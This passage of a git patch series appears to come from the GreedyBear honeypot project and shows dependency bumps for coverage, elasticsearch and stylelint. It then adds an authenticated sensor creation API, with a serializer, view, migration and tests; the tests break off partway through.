"sha256:1896f5e19ff3f0431c7ce2172adc54890fd97f86b59ced8ca1649145d9ffe35d", size = 251159, upload-time = "2026-05-26T20:39:48.03Z" }, + { url = "https://files.pythonhosted.org/packages/e0/aa/58681c383aa33a9d2ed40a02d7a22fbf780d1fa4d575396365777828198c/coverage-7.14.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:62fd185ef9df3c33d1c8178c5af105f762afbad96038de9a4ae100aa6297ca33", size = 252934, upload-time = "2026-05-26T20:39:49.872Z" }, + { url = "https://files.pythonhosted.org/packages/eb/fd/11c928cd6bdffc7074bb5965c173d9ebf517fb00205e1da524b98d29ef92/coverage-7.14.1-cp313-cp313-win32.whl", hash = "sha256:ab4af6352741a604c431c6072fce5bee33bf0f20dc7a56618d6bf6bb89e9810c", size = 222584, upload-time = "2026-05-26T20:39:51.68Z" }, + { url = "https://files.pythonhosted.org/packages/6f/92/fb416fc26d340dcba19518c418d6048e913186e17243982c5e435e41fa7a/coverage-7.14.1-cp313-cp313-win_amd64.whl", hash = "sha256:7af486dabe8954d03b087f0021540897afe084f04e16ff5579e08cc46f871416", size = 223394, upload-time = "2026-05-26T20:39:53.472Z" }, + { url = "https://files.pythonhosted.org/packages/73/c6/02d56e3867972f77d5036de924643f26c056e848f00452cafb4dbc3c29b4/coverage-7.14.1-cp313-cp313-win_arm64.whl", hash = "sha256:2224f89ffd0c5605ccce1ed7a584da162bc7c55f601ab1c946bc9de31a486b42", size = 222015, upload-time = "2026-05-26T20:39:55.374Z" }, + { url = "https://files.pythonhosted.org/packages/4d/9e/fcc77914050df73f7662fa1f00902774c79c075a8388ab334074574bf77e/coverage-7.14.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:de286598cc65d2b489411174b1faec2f5a7775fb3201fd925db2a76b4030f37d", size = 220733, upload-time = "2026-05-26T20:39:57.189Z" }, + { url = "https://files.pythonhosted.org/packages/f7/67/2963cbdaf5cbadec44efa3a1e39eaa1f02df4079585f05387607a221e126/coverage-7.14.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:042c46ded7c288aeb07cf14a28b6c1e10b78fcba40171c3fa1e939377eeef0b5", size = 221086, upload-time = "2026-05-26T20:39:59.019Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c5/8701645574e11881f2f47d8930f98bc48b5d43b25eb5b4430dfc4a2f9f48/coverage-7.14.1-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f4ddbe407477f04c45115d1a4e5bc480f753553b534d338d4c3358b1cdd0ea52", size = 262381, upload-time = "2026-05-26T20:40:00.822Z" }, + { url = "https://files.pythonhosted.org/packages/7c/28/7a64d73598263e0c5abd5084211a8474488d31b3c552ff531c719dfcff62/coverage-7.14.1-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d13e6725992e2d2fd7d81d4f5241952d13740121dfd501da09201be39b2c003a", size = 264458, upload-time = "2026-05-26T20:40:02.506Z" }, + { url = "https://files.pythonhosted.org/packages/fa/d8/4969179db9f7eb4df218e69540adf829d1c835f59452513d065d15446802/coverage-7.14.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f747dc8edcfe740130f28f32f3995e955494285717e86ee25af51db2219df08a", size = 266884, upload-time = "2026-05-26T20:40:04.421Z" }, + { url = "https://files.pythonhosted.org/packages/a6/78/a45d5794dbc9bafd97afc96a4377c86c7820d78b6cf51b89bc1d4e919275/coverage-7.14.1-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ced2f09ef276fd58611a1ef502164ad266d2b75174e5a40cabbdb4033f9f6cf2", size = 268022, upload-time = "2026-05-26T20:40:06.298Z" }, + { url = "https://files.pythonhosted.org/packages/21/cb/4f5e354e9e3e67af96bd4e57113e6db6b22298c7168b13eec408a549903d/coverage-7.14.1-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b84800013769a78ccb9ef4659402e26d06867e337b61ec365f77ad008adea80e", size = 261631, upload-time = "2026-05-26T20:40:08.226Z" }, + { url = "https://files.pythonhosted.org/packages/ec/49/eced49af4cb996d5d8b7e94e736175c513e4facd3398507b89892b4326d8/coverage-7.14.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:ea8cd6ca0ee9f616aaef3afc6882e32c2cbf18b00d96313ffd76af650574034d", size = 264443, upload-time = "2026-05-26T20:40:10.137Z" }, + { url = "https://files.pythonhosted.org/packages/f1/d8/5603a88a7c5913a6b54f6cb1a8c46f7b39cbb30f27cd3f492908da09b2d7/coverage-7.14.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:aa5e304a873fabddc11e484e9b6b738bd38bd7bed17b09aa84eecf5332e8b8bb", size = 262069, upload-time = "2026-05-26T20:40:11.999Z" }, + { url = "https://files.pythonhosted.org/packages/f0/59/2ae3cb79da554a06c8619d6c88ea19dd1e4aed4b834b6a83bb1fa243bdc5/coverage-7.14.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:5a1c5215be81035e629d5bc756650634d0bf31991038db7a0eccb90f025ce16d", size = 265780, upload-time = "2026-05-26T20:40:13.858Z" }, + { url = "https://files.pythonhosted.org/packages/af/5f/b130c1dc999031f2648bd25317fbce505ad8d5562079b4ed81e736a84967/coverage-7.14.1-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:79058c47dae6788504b5effb319961bcd72d7240551464b91d474bc0ed186d69", size = 260970, upload-time = "2026-05-26T20:40:16.142Z" }, + { url = "https://files.pythonhosted.org/packages/87/d1/ec13ccddeb48ec963bdfa72a11224bac2584bd045ba13beca82f8113e9c7/coverage-7.14.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:370c5afae3fa0658e11694a32b24c2778f6bc2d17718121f94ee185e69f26b54", size = 263157, upload-time = "2026-05-26T20:40:18.382Z" }, + { url = "https://files.pythonhosted.org/packages/cf/c2/cd91ead503045161092d3845f7bb95ea2f25131ce96d3e314dd835d91b9c/coverage-7.14.1-cp313-cp313t-win32.whl", hash = "sha256:3758dd0a7f1fa57365ef2e781df0f0731d38b6e3772259d13dae4bd8a958d4b1", size = 223259, upload-time = "2026-05-26T20:40:20.381Z" }, + { url = "https://files.pythonhosted.org/packages/71/9f/1e28d97e6bd2c76b07f38b7c02870f1371255ff6717f54eca578fcbbdd0e/coverage-7.14.1-cp313-cp313t-win_amd64.whl", hash = "sha256:6ff665fb023a77386fe11685190cee1f60a7d635994a30d9b0a061533d470fce", size = 224320, upload-time = "2026-05-26T20:40:22.316Z" }, + { url = "https://files.pythonhosted.org/packages/a9/e0/d936e908f0e1efa55e52b91e01b52f1055cef5e1ab2718493390ed8e2fb8/coverage-7.14.1-cp313-cp313t-win_arm64.whl", hash = "sha256:17a5a241e5997621a956a7f402a7433ef4221e5152809b785bec79e2323799f1", size = 222577, upload-time = "2026-05-26T20:40:24.894Z" }, + { url = "https://files.pythonhosted.org/packages/8a/3c/1a983b9a745d7f83d53f057bcc5bf79ba6a2bbc08266b3f0c7d6fe630c9b/coverage-7.14.1-py3-none-any.whl", hash = "sha256:a252f21c27e38347e60111a3266b03827422a7d5525951aceee313aa68bab1d2", size = 211815, upload-time = "2026-05-26T20:41:34.078Z" }, ] [[package]] @@ -546,7 +546,7 @@ requires-dist = [ dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] lint = [{ name = "ruff", specifier = "==0.15.14" }] test = [ - { name = "coverage", specifier = "==7.14.0" }, + { name = "coverage", specifier = "==7.14.1" }, { name = "django-test-migrations", specifier = "==1.5.0" }, ] From 2b54ac79333cd110b2384f50c1dd3c59d95eb6fb Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:43:21 +0200 Subject: [PATCH 014/131] build(deps): bump elasticsearch from 9.4.0 to 9.4.1 (#1377) Bumps [elasticsearch](https://github.com/elastic/elasticsearch-py) from 9.4.0 to 9.4.1. - [Release notes](https://github.com/elastic/elasticsearch-py/releases) - [Commits](https://github.com/elastic/elasticsearch-py/compare/v9.4.0...v9.4.1) --- updated-dependencies: - dependency-name: elasticsearch dependency-version: 9.4.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 60fbf57f5..787dd3fc0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -19,7 +19,7 @@ dependencies = [ "gunicorn~=26.0", # Data stores # For ES compatibility, check https://github.com/elastic/elasticsearch-py#compatibility - "elasticsearch==9.4.0", + "elasticsearch==9.4.1", "psycopg[c]~=3.3", # ML / data science "scikit-learn~=1.8.0", diff --git a/uv.lock b/uv.lock index 76f0bd9af..f2ff61524 100644 --- a/uv.lock +++ b/uv.lock @@ -432,21 +432,21 @@ wheels = [ [[package]] name = "elastic-transport" -version = "9.4.0" +version = "9.4.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "certifi" }, { name = "sniffio" }, { name = "urllib3" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/81/3f/076b7cdc93ff4c7953a76e8e64830e6ff0352cd713d338abc601f142b75f/elastic_transport-9.4.0.tar.gz", hash = "sha256:4eff263c8011dd950451b72be567a2484b814a89c70081053d6ae6addeab52e2", size = 77819, upload-time = "2026-05-05T14:40:54.136Z" } +sdist = { url = "https://files.pythonhosted.org/packages/0f/a8/dd1431b95daa54d4859c1d250362433df6df9cfaab7bfac3eafd410d019a/elastic_transport-9.4.1.tar.gz", hash = "sha256:d12c86ea73528690ebf63a488d9ae323292e6aa5ee55e1e29f14293472f4197f", size = 79170, upload-time = "2026-05-25T14:16:47.416Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/49/17/8d6ee5cd6218f03b195cc017e9e8e09b3df48ebc307903d09cf9f04ff0fe/elastic_transport-9.4.0-py3-none-any.whl", hash = "sha256:2dbb907ededa14e6ff5be058f8737bbba3926bd1b1a40dbc98a471285fa2cb3c", size = 65358, upload-time = "2026-05-05T14:40:52.545Z" }, + { url = "https://files.pythonhosted.org/packages/5c/f6/508c1e541b840b6eaf60a46a8994ba55affd07bf6a311cffc860781ae06a/elastic_transport-9.4.1-py3-none-any.whl", hash = "sha256:186a29e6c66ff269487e33f7b17176316e18b6061702c25eb0bb15681302e91d", size = 66229, upload-time = "2026-05-25T14:16:45.882Z" }, ] [[package]] name = "elasticsearch" -version = "9.4.0" +version = "9.4.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyio" }, @@ -455,9 +455,9 @@ dependencies = [ { name = "sniffio" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/7d/2d/413775b172c6983c7cdbbdc3ac2be71eb00679510a536081801b387a2c8c/elasticsearch-9.4.0.tar.gz", hash = "sha256:95e38e130b1d01438b19343dfa0458e1857a7df8e2e30cbf23a72182b03f05ff", size = 907191, upload-time = "2026-05-06T11:12:51.996Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/4b/9b753f0a8f56ae508dced2f7ac87bef7a27ce8f890e349e16812e9f7f4fa/elasticsearch-9.4.1.tar.gz", hash = "sha256:1d78fdfba97a903ec35a5eb5808a74e33392b7c620bd5f742d465a3a26c27d75", size = 908138, upload-time = "2026-05-26T16:28:40.132Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/b7/a1/193be12421e0db8e786c1592b449f9cadef240970d391bf94b7bb07ca195/elasticsearch-9.4.0-py3-none-any.whl", hash = "sha256:e20095ba40229f4562f7cc951883c7c62a017435f94dbe0c21526f58ba411885", size = 992735, upload-time = "2026-05-06T11:12:48.267Z" }, + { url = "https://files.pythonhosted.org/packages/cf/8e/2c93805e93e724a90156004a9212572ec86473974deede4605a33b8b169a/elasticsearch-9.4.1-py3-none-any.whl", hash = "sha256:71ab71c3d1b20fd88c2922fb82c3277cce7ea03c160686e7b9368b265c2b4cac", size = 993647, upload-time = "2026-05-26T16:28:36.556Z" }, ] [[package]] @@ -529,7 +529,7 @@ requires-dist = [ { name = "django-rest-email-auth", specifier = "==5.0.0" }, { name = "django-ses", specifier = "~=4.7" }, { name = "djangorestframework", specifier = "~=3.17.1" }, - { name = "elasticsearch", specifier = "==9.4.0" }, + { name = "elasticsearch", specifier = "==9.4.1" }, { name = "feedparser", specifier = "~=6.0" }, { name = "gunicorn", specifier = "~=26.0" }, { name = "joblib", specifier = "~=1.5" }, From abf5f5f9e1180902720804085c359d595d7bb6f4 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:46:26 +0200 Subject: [PATCH 015/131] build(deps-dev): bump stylelint from 17.11.1 to 17.12.0 in /frontend (#1375) Bumps [stylelint](https://github.com/stylelint/stylelint) from 17.11.1 to 17.12.0. - [Release notes](https://github.com/stylelint/stylelint/releases) - [Changelog](https://github.com/stylelint/stylelint/blob/main/CHANGELOG.md) - [Commits](https://github.com/stylelint/stylelint/compare/17.11.1...17.12.0) --- updated-dependencies: - dependency-name: stylelint dependency-version: 17.12.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 10 +++++----- frontend/package.json | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 1580aa44c..b024fe3ad 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -35,7 +35,7 @@ "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.3", - "stylelint": "^17.11.1", + "stylelint": "^17.12.0", "vite": "^8.0.14", "vitest": "^4.1.6" } @@ -6281,9 +6281,9 @@ } }, "node_modules/stylelint": { - "version": "17.11.1", - "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-17.11.1.tgz", - "integrity": "sha512-+smN/HqVTggUx3iuAzOi9fPh8SrH+cJWlZrYVldXoJ06orWBhZ4Ue/QEp64oei6pVrAh4w3tG+Y12Vw7MbCFRQ==", + "version": "17.12.0", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-17.12.0.tgz", + "integrity": "sha512-KIlzWXMHUvgfPUR0R7TK3H80yCIi0uoivUwf+6Az4yrHJD1Q3c1qIkh/H5Z0i/K3QXgtq/UMEkWyBUSUwnpnOg==", "dev": true, "funding": [ { @@ -6311,7 +6311,7 @@ "debug": "^4.4.3", "fast-glob": "^3.3.3", "fastest-levenshtein": "^1.0.16", - "file-entry-cache": "^11.1.2", + "file-entry-cache": "^11.1.3", "global-modules": "^2.0.0", "globby": "^16.2.0", "globjoin": "^0.1.4", diff --git a/frontend/package.json b/frontend/package.json index 22b6b54ae..411d2878c 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -54,7 +54,7 @@ "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.3", - "stylelint": "^17.11.1", + "stylelint": "^17.12.0", "vite": "^8.0.14", "vitest": "^4.1.6" } From 20290e685f2718e6a7fcc9bb1f0676bdd9542dfb Mon Sep 17 00:00:00 2001 From: Drona Raj Gyawali Date: Thu, 28 May 2026 14:33:08 +0545 Subject: [PATCH 016/131] feat: Sensor creation API and Testcases. Closes #1359 (#1369) * added sensor api and testcase :) Signed-off-by: Drona Raj Gyawali * added docstrings Signed-off-by: Drona Raj Gyawali * refactor logic around sensors models Signed-off-by: Drona Raj Gyawali * added flag logic in sensor Signed-off-by: Drona Raj Gyawali --------- Signed-off-by: Drona Raj Gyawali --- api/serializers.py | 48 ++ api/urls.py | 2 + api/views/__init__.py | 1 + api/views/sensor.py | 87 ++++ api/views/utils.py | 33 +- ...greedybear__last_se_567d25_idx_and_more.py | 36 ++ greedybear/models.py | 24 +- tests/api/views/test_sensor.py | 458 ++++++++++++++++++ 8 files changed, 687 insertions(+), 2 deletions(-) create mode 100644 api/views/sensor.py create mode 100644 greedybear/migrations/0057_rename_greedybear_ioc_last_seen_idx_greedybear__last_se_567d25_idx_and_more.py create mode 100644 tests/api/views/test_sensor.py diff --git a/api/serializers.py b/api/serializers.py index e08bac4fa..56cdb4dd5 100644 --- a/api/serializers.py +++ b/api/serializers.py @@ -251,3 +251,51 @@ class FeedsResponseSerializer(serializers.Serializer): def validate_feed_type(self, feed_type): logger.debug(f"FeedsResponseSerializer - validation feed_type: '{feed_type}'") return [feed_type_validation(feed, self.context["valid_feed_types"]) for feed in feed_type] + + +class SensorCreateSerializer(serializers.ModelSerializer): + sensor_label = serializers.CharField(source="label", required=False, allow_blank=True, max_length=128) + + asn = serializers.IntegerField( + required=False, + allow_null=True, + min_value=1, + ) + + class Meta: + model = Sensor + fields = [ + "id", + "address", + "honeypot_type", + "honeypot_software", + "honeypot_description", + "sensor_label", + "group_label", + "country_code", + "asn", + ] + + extra_kwargs = { + "address": {"validators": []}, + } + + read_only_fields = ["id"] + + def validate_country_code(self, value): + """ + Validates that the input is exactly 2 alphabet letters using regex, + and converts it to uppercase. + """ + if value: + # Regex pattern: ^[A-Za-z]{2}$ means exactly two letters (A-Z or a-z) + if not re.match(r"^[A-Za-z]{2}$", value): + raise serializers.ValidationError("Country code must be a 2-character ISO code containing letters only (e.g. 'NP', 'IN').") + return value.upper() + + return value + + def validate_address(self, value): + if not is_ip_address(value): + raise serializers.ValidationError("Invalid IP address") + return value diff --git a/api/urls.py b/api/urls.py index 34c15dfb6..2bccb769d 100644 --- a/api/urls.py +++ b/api/urls.py @@ -19,6 +19,7 @@ general_honeypot_list, health_view, news_view, + sensor_create_view, ) # Routers provide an easy way of automatically determining the URL conf. @@ -41,6 +42,7 @@ path("general_honeypot", general_honeypot_list), path("news/", news_view), path("health/", health_view), + path("sensor/", sensor_create_view), # router viewsets path("", include(router.urls)), # certego_saas: diff --git a/api/views/__init__.py b/api/views/__init__.py index 398982a0c..8a67b12ce 100644 --- a/api/views/__init__.py +++ b/api/views/__init__.py @@ -5,4 +5,5 @@ from api.views.health import * from api.views.honeypots import * from api.views.news import * +from api.views.sensor import * from api.views.statistics import * diff --git a/api/views/sensor.py b/api/views/sensor.py new file mode 100644 index 000000000..a5ff7b1c2 --- /dev/null +++ b/api/views/sensor.py @@ -0,0 +1,87 @@ +from certego_saas.apps.auth.backend import CookieTokenAuthentication +from rest_framework import status +from rest_framework.decorators import api_view, authentication_classes, permission_classes +from rest_framework.permissions import IsAuthenticated +from rest_framework.response import Response + +from api.serializers import SensorCreateSerializer +from api.views.utils import create_or_get_sensor +from greedybear.models import APISource + + +@api_view(["POST"]) +@authentication_classes([CookieTokenAuthentication]) +@permission_classes([IsAuthenticated]) +def sensor_create_view(request): + """ + Sensor Create API + + This endpoint allows authenticated users to create or fetch a sensor + using an IP address as the unique identifier. + + Each request is tied to the user's APISource, which is pre-created by + an administrator. If no APISource is linked to the user,the request is + rejected. + + Behavior: + - If the sensor does not exist, it will be created. + - If the sensor already exists, the existing id is returned. + - Autonomous System (ASN) is optionally resolved and linked via AutonomousSystem model. + + Authentication: + This API requires authentication via CookieTokenAuthentication. + Each user must have an associated APISource to use this endpoint. + + Request: + POST /api/sensor/ + + Args: + address (str, required): IPv4 or IPv6 address of the sensor. + honeypot_type (str, optional): Type of honeypot. + honeypot_software (str, optional): Honeypot software name. + honeypot_description (str, optional): Description of the sensor. + sensor_label (str, optional): Human-readable label. + group_label (str, optional): Group classification label. + country_code (str, optional): 2-letter ISO country code. + asn (int, optional): Autonomous System Number. + + Responses: + 201 Created: + Returned when a new sensor is created. + + 200 OK: + Returned when an existing sensor is fetched. + + 400 Bad Request: + Invalid input data (e.g. malformed IP, invalid country code). + + 403 Forbidden: + User is not authenticated or has no APISource linked. + """ + try: + api_source = request.user.api_source + if not api_source.is_active: + return Response( + {"error": "APISource is inactive"}, + status=status.HTTP_403_FORBIDDEN, + ) + except APISource.DoesNotExist: + return Response({"error": "No APISource linked to your account"}, status=status.HTTP_403_FORBIDDEN) + + serializer = SensorCreateSerializer(data=request.data) + + if not serializer.is_valid(): + return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) + + sensor, created = create_or_get_sensor( + api_source=api_source, + validated_data=serializer.validated_data.copy(), + ) + + return Response( + { + "id": sensor.id, + "message": ("Sensor created successfully" if created else "Sensor already existed"), + }, + status=status.HTTP_201_CREATED if created else status.HTTP_200_OK, + ) diff --git a/api/views/utils.py b/api/views/utils.py index 29ad8c090..75f2fa805 100644 --- a/api/views/utils.py +++ b/api/views/utils.py @@ -11,6 +11,7 @@ from django.conf import settings from django.contrib.postgres.aggregates import ArrayAgg from django.core.cache import cache, caches +from django.db import transaction from django.db.models import Count, F, Max, Min, Q, Sum, Value from django.db.models.functions import JSONObject from django.http import HttpResponse, HttpResponseBadRequest, StreamingHttpResponse @@ -21,7 +22,7 @@ from api.serializers import FeedsRequestSerializer, parse_feed_types from greedybear.consts import CACHE_KEY_GREEDYBEAR_NEWS, CACHE_TIMEOUT_SECONDS, RSS_FEED_URL from greedybear.enums import IpReputation -from greedybear.models import IOC, Honeypot, Statistics +from greedybear.models import IOC, AutonomousSystem, Honeypot, Sensor, SourceType, Statistics from greedybear.utils import is_ip_address, is_valid_domain logger = logging.getLogger(__name__) @@ -655,3 +656,33 @@ def get_greedybear_news() -> list[dict]: CACHE_TIMEOUT_SECONDS, ) return news_items + + +@transaction.atomic +def create_or_get_sensor(*, api_source, validated_data): + """ + Logic for sensor creation/retrieval. + """ + + asn_value = validated_data.pop("asn", None) + + autonomous_system = None + if asn_value: + autonomous_system, _ = AutonomousSystem.objects.get_or_create( + asn=asn_value, + defaults={"name": ""}, + ) + validated_data["autonomous_system"] = autonomous_system + + address = validated_data["address"] + + sensor, created = Sensor.objects.get_or_create( + address=address, + api_source=api_source, + defaults={ + **validated_data, + "source_type": SourceType.EXTERNAL, + }, + ) + + return sensor, created diff --git a/greedybear/migrations/0057_rename_greedybear_ioc_last_seen_idx_greedybear__last_se_567d25_idx_and_more.py b/greedybear/migrations/0057_rename_greedybear_ioc_last_seen_idx_greedybear__last_se_567d25_idx_and_more.py new file mode 100644 index 000000000..4a4e8f00b --- /dev/null +++ b/greedybear/migrations/0057_rename_greedybear_ioc_last_seen_idx_greedybear__last_se_567d25_idx_and_more.py @@ -0,0 +1,36 @@ +# Generated by Django 5.2.13 on 2026-05-27 15:15 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('greedybear', '0056_ioc_last_seen_index_and_drop_attacker_country_index'), + ] + + operations = [ + migrations.RenameIndex( + model_name='ioc', + new_name='greedybear__last_se_567d25_idx', + old_name='greedybear_ioc_last_seen_idx', + ), + migrations.AddField( + model_name='sensor', + name='country_code', + field=models.CharField(blank=True, default='', max_length=2), + ), + migrations.AlterField( + model_name='sensor', + name='address', + field=models.GenericIPAddressField(), + ), + migrations.AddConstraint( + model_name='sensor', + constraint=models.UniqueConstraint(condition=models.Q(('api_source__isnull', False)), fields=('api_source', 'address'), name='unique_sensor_per_api_source'), + ), + migrations.AddConstraint( + model_name='sensor', + constraint=models.UniqueConstraint(condition=models.Q(('api_source__isnull', True)), fields=('address',), name='unique_internal_sensor_address'), + ), + ] diff --git a/greedybear/models.py b/greedybear/models.py index b5180f762..515a8da7e 100644 --- a/greedybear/models.py +++ b/greedybear/models.py @@ -47,12 +47,18 @@ def __str__(self): class Sensor(models.Model): - address = models.GenericIPAddressField(unique=True) + address = models.GenericIPAddressField() country = models.CharField( max_length=64, blank=True, default="", ) + country_code = models.CharField( + max_length=2, + blank=True, + default="", + ) + label = models.CharField( max_length=128, blank=True, @@ -76,6 +82,22 @@ class Sensor(models.Model): created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) + # this preserves the original tpot-ingestion uniqueness behavior while + # adding per-user API isolation cleanly. + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["api_source", "address"], + condition=models.Q(api_source__isnull=False), + name="unique_sensor_per_api_source", + ), + models.UniqueConstraint( + fields=["address"], + condition=models.Q(api_source__isnull=True), + name="unique_internal_sensor_address", + ), + ] + def __str__(self): return f"{self.address} ({self.label})" if self.label else self.address diff --git a/tests/api/views/test_sensor.py b/tests/api/views/test_sensor.py new file mode 100644 index 000000000..fe4a41c05 --- /dev/null +++ b/tests/api/views/test_sensor.py @@ -0,0 +1,458 @@ +from django.contrib.auth import get_user_model +from django.db import IntegrityError +from rest_framework import status +from rest_framework.test import APIClient + +from greedybear.models import APISource, AutonomousSystem, Sensor, SourceType +from tests import CustomTestCase + +User = get_user_model() + +SENSOR_CREATE_URL = "/api/sensor/" + + +def make_user(username="testuser", password="pass1234!"): + return User.objects.create_user(username=username, password=password) + + +def make_apisource(user, name="TestSource"): + return APISource.objects.create(user=user, name=name) + + +def auth_client(user): + client = APIClient() + client.force_authenticate(user=user) + return client + + +VALID_PAYLOAD = { + "address": "1.2.3.4", + "honeypot_type": "ssh", + "honeypot_software": "cowrie", + "honeypot_description": "test honeypot", + "sensor_label": "sensor-a", + "group_label": "group-a", + "country_code": "NP", + "asn": 64512, +} + + +class BaseSensorTestCase(CustomTestCase): + def setUp(self): + self.user = make_user() + self.api_source = make_apisource(self.user) + self.client = auth_client(self.user) + + +class SensorCreateAuthTests(BaseSensorTestCase): + def test_unauthenticated_request_rejected(self): + response = APIClient().post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertIn( + response.status_code, + [status.HTTP_401_UNAUTHORIZED, status.HTTP_403_FORBIDDEN], + ) + + def test_user_without_apisource_gets_403(self): + bare_user = make_user(username="bare") + response = auth_client(bare_user).post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) + self.assertIn("error", response.data) + + def test_get_method_not_allowed(self): + response = self.client.get(SENSOR_CREATE_URL) + self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED) + + +class SensorCreateTests(BaseSensorTestCase): + def test_creates_sensor(self): + response = self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_201_CREATED) + self.assertTrue(response.data["id"]) + sensor = Sensor.objects.get(address="1.2.3.4") + + self.assertEqual(sensor.api_source, self.api_source) + self.assertEqual(sensor.source_type, SourceType.EXTERNAL) + + def test_existing_sensor_returns_existing_record(self): + # first request creates sensor + self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + # second request should hit existing sensor + response = self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_200_OK) + + self.assertTrue(response.data["id"]) + + sensor = Sensor.objects.get(address="1.2.3.4") + + # ensure still correctly linked + self.assertEqual(sensor.api_source, self.api_source) + self.assertEqual(sensor.source_type, SourceType.EXTERNAL) + + def test_sensor_label_maps_to_model_label(self): + self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + sensor = Sensor.objects.get(address="1.2.3.4") + self.assertEqual(sensor.label, "sensor-a") + + def test_country_code_is_uppercased_in_db(self): + payload = { + **VALID_PAYLOAD, + "country_code": "np", + } + + self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + sensor = Sensor.objects.get(address="1.2.3.4") + self.assertEqual(sensor.country_code, "NP") + + def test_minimal_payload_succeeds(self): + response = self.client.post( + SENSOR_CREATE_URL, + {"address": "8.8.8.8"}, + format="json", + ) + self.assertEqual(response.status_code, status.HTTP_201_CREATED) + + def test_blank_optional_fields_accepted(self): + payload = { + "address": "8.8.8.8", + "honeypot_type": "", + "honeypot_software": "", + "honeypot_description": "", + "sensor_label": "", + "group_label": "", + "country_code": "", + } + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_201_CREATED) + + def test_source_type_cannot_be_overridden(self): + payload = { + **VALID_PAYLOAD, + "source_type": "internal", + } + + self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + sensor = Sensor.objects.get(address="1.2.3.4") + + self.assertEqual(sensor.source_type, SourceType.EXTERNAL) + + def test_response_does_not_expose_internal_fields(self): + response = self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertNotIn("autonomous_system", response.data) + self.assertNotIn("api_source", response.data) + + def test_internal_sensor_address_must_be_unique(self): + Sensor.objects.create( + address="1.2.3.4", + source_type=SourceType.TPOT, + ) + + with self.assertRaises(IntegrityError): + Sensor.objects.create( + address="1.2.3.4", + source_type=SourceType.TPOT, + ) + + +class SensorASNTests(BaseSensorTestCase): + def test_asn_creates_autonomous_system(self): + self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertTrue(AutonomousSystem.objects.filter(asn=64512).exists()) + + def test_sensor_links_to_autonomous_system(self): + self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + sensor = Sensor.objects.get(address="1.2.3.4") + + self.assertIsNotNone(sensor.autonomous_system) + self.assertEqual(sensor.autonomous_system.asn, 64512) + + def test_existing_autonomous_system_reused(self): + AutonomousSystem.objects.create( + asn=64512, + name="Existing ASN", + ) + + self.client.post( + SENSOR_CREATE_URL, + 